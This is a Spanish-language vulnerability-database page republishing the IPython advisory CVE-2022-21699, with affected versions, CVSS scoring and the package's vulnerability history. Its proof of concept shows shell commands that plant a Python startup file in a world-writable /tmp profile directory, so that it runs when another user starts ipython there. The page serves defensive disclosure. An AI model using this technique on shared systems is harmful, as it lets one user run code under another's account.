Alta

Execution with Unnecessary Privileges in ipython

  • Publicada: 19.01.2022
  • Actualizado: 11.10.2026 15:17

We’d like to disclose an arbitrary code execution vulnerability in IPython that stems from IPython executing untrusted files in CWD. This vulnerability allows one user to run code as another.

Proof of concept

User1:

bash
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/foo.py

User2:

bash
cd /tmp
ipython

User2 will see:

Python 3.9.7 (default, Oct 25 2021, 01:04:21)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.29.0 -- An enhanced Interactive Python. Type '?' for help.
stealing your private secrets

Patched release and documentation

See https://ipython.readthedocs.io/en/stable/whatsnew/version8.html#ipython-8-0-1-cve-2022-21699,

Version 8.0.1, 7.31.1 for current Python version are recommended. Version 7.16.3 has also been published for Python 3.6 users, Version 5.11 (source only, 5.x branch on github) for older Python versions.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) ipython < 5.11, >= 6.0.0, < 7.16.3, >= 7.17.0, < 7.31.1, >= 8.0.0, < 8.0.1 5.11, 7.16.3, 7.31.1, 8.0.1

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-250, CWE-269, CWE-279
Plataforma
Python (PyPI)
Paquete
ipython
Publicada
19.01.2022
Actualizado
11.10.2026 15:17

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2022-12 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-pq7m-3gw7-gq5x - CC BY 4.0

Historial de vulnerabilidades: ipython

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
8
Primera → última
08.2014 02.2023
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 3
  • Media 3
  • Baja 1

Divulgaciones por año

  1. 2017: 3
  2. 2018: 0
  3. 2019: 0
  4. 2020: 0
  5. 2021: 0
  6. 2022: 1
  7. 2023: 1
  8. 2024: 0
  9. 2025: 0
  10. 2026: 0

antes: 3

  1. Baja · 4.5 CVE-2023-24816 < 8.10.0 8.10.0
  2. Execution with Unnecessary Privileges in ipython esta entrada
    Alta · 8.2 CVE-2022-21699 < 5.11, >= 6.0.0, < 7.16.3, >= 7.17.0, < 7.31.1, >= 8.0.0, < 8.0.1 5.11, 7.16.3, 7.31.1, 8.0.1
  3. Media · 6.1 CVE-2015-4706 >= 3.0.0, < 3.2.0 3.2.0
  4. Alta · 8.8 CVE-2015-5607 >= 0.12, < 2.4.1, >= 3.0.0, < 3.2.3 2.4.1, 3.2.3
  5. Crítica · 9.8 CVE-2015-7337 < 3.2.2 3.2.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.